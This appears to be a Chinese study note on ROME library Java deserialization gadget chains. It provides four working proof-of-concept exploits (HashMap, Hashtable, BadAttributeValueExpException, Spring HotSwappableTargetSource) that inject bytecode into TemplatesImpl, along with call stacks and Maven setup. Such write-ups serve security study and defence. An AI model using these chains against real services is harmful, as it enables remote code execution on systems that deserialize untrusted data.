环境搭建
jdk8u181
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency> </dependencies>
|
利用链分析
ROME反序列链的本质,是组件里的ToStringBean#toString可以任意getter调用。
例如调getOutputProperties就是代码执行,于是问题转换成如何调ClassName#toString。
由此,分出许多不同利用链,本质是不同调toString的链子。
下面给出核心调用链,不同的部分在Exp的函数调用栈写明。
ClassLoader#defineClass->
TemplatesImpl#defineClass->
TemplatesImpl#defineTransletClasses->
TemplatesImpl#getTransletInstance->
TemplatesImpl#newTransformer->
TemplatesImpl#getOutputProperties->
ToStringBean#toString->
GadgetsChains#triggerToStringFunction…..
Exp
HashMap
1 2 3 4 5 6 7 8 9 10 11 12
| getOutputProperties:507, TemplatesImpl invoke0:-1, NativeMethodAccessorImpl invoke:62, NativeMethodAccessorImpl invoke:43, DelegatingMethodAccessorImpl invoke:498, Method toString:137, ToStringBean toString:116, ToStringBean beanHashCode:193, EqualsBean hashCode:176, EqualsBean hash:339, HashMap put:612, HashMap main:26, ROMEHashMap
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import Utils.*; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap;
public class ROMEHashMap { public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl(); byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class")); ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper"); ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(equalsBean, "123");
SerialUtils.serialize(hashMap); SerialUtils.unserialize(); }
}
|
HashTable
1 2 3 4 5 6 7 8 9 10 11
| getOutputProperties:507, TemplatesImpl invoke0:-1, NativeMethodAccessorImpl invoke:62, NativeMethodAccessorImpl invoke:43, DelegatingMethodAccessorImpl invoke:498, Method toString:137, ToStringBean toString:116, ToStringBean beanHashCode:193, EqualsBean hashCode:110, ObjectBean put:465, Hashtable main:28, ROMEHashTable
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import Utils.*; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Hashtable;
public class ROMEHashTable { public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl(); byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class")); ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper"); ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
Hashtable hashtable = new Hashtable(); hashtable.put(objectBean,"123");
SerialUtils.serialize(hashtable); SerialUtils.unserialize(); } }
|
BadAttributeValueExpException
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| getOutputProperties:507, TemplatesImpl invoke0:-1, NativeMethodAccessorImpl invoke:62, NativeMethodAccessorImpl invoke:43, DelegatingMethodAccessorImpl invoke:498, Method toString:137, ToStringBean toString:116, ToStringBean readObject:86, BadAttributeValueExpException invoke0:-1, NativeMethodAccessorImpl invoke:62, NativeMethodAccessorImpl invoke:43, DelegatingMethodAccessorImpl invoke:498, Method invokeReadObject:1170, ObjectStreamClass readSerialData:2178, ObjectInputStream readOrdinaryObject:2069, ObjectInputStream readObject0:1573, ObjectInputStream readObject:431, ObjectInputStream unserialize:31, SerialUtils main:27, ROMEBadAttributeValueExpException
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import Utils.*; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.nio.file.Files; import java.nio.file.Paths;
public class ROMEBadAttributeValueExpException { public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl(); byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class")); ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper"); ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1); ReflectUtils.setFieldValue(badAttributeValueExpException,"val",toStringBean);
SerialUtils.serialize(badAttributeValueExpException); SerialUtils.unserialize(); } }
|
HotSwappableTargetSource
SpringBoot原生toString链,需要加载SpringBoot依赖。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.7.17</version> <relativePath/> </parent> <groupId>org.example</groupId> <artifactId>ROME</artifactId> <version>1.0-SNAPSHOT</version>
<properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> </properties> <dependencies> <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency>
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> </dependencies> </project>
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| getOutputProperties:507, TemplatesImpl invoke0:-1, NativeMethodAccessorImpl invoke:62, NativeMethodAccessorImpl invoke:43, DelegatingMethodAccessorImpl invoke:498, Method toString:137, ToStringBean toString:116, ToStringBean equals:392, XString equals:103, HotSwappableTargetSource putVal:635, HashMap put:612, HashMap main:29, ROMEHotSwappableTargetSource
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import Utils.*; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xpath.internal.objects.XString; import com.sun.syndication.feed.impl.ToStringBean; import org.springframework.aop.target.HotSwappableTargetSource;
import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap;
public class ROMEHotSwappableTargetSource { public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl(); byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class")); ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper"); ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes}); ReflectUtils.setFieldValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templatesimpl);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean); HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(h1,h1); hashMap.put(h2,h2);
SerialUtils.unserialize(); } }
|
小结
本质是,如果带了ROME这个组件,可以通过调toString,达到调任意getter的目的。
参考链接
ROME反序列化@枫
ROME反序列化@Ic4_F1ame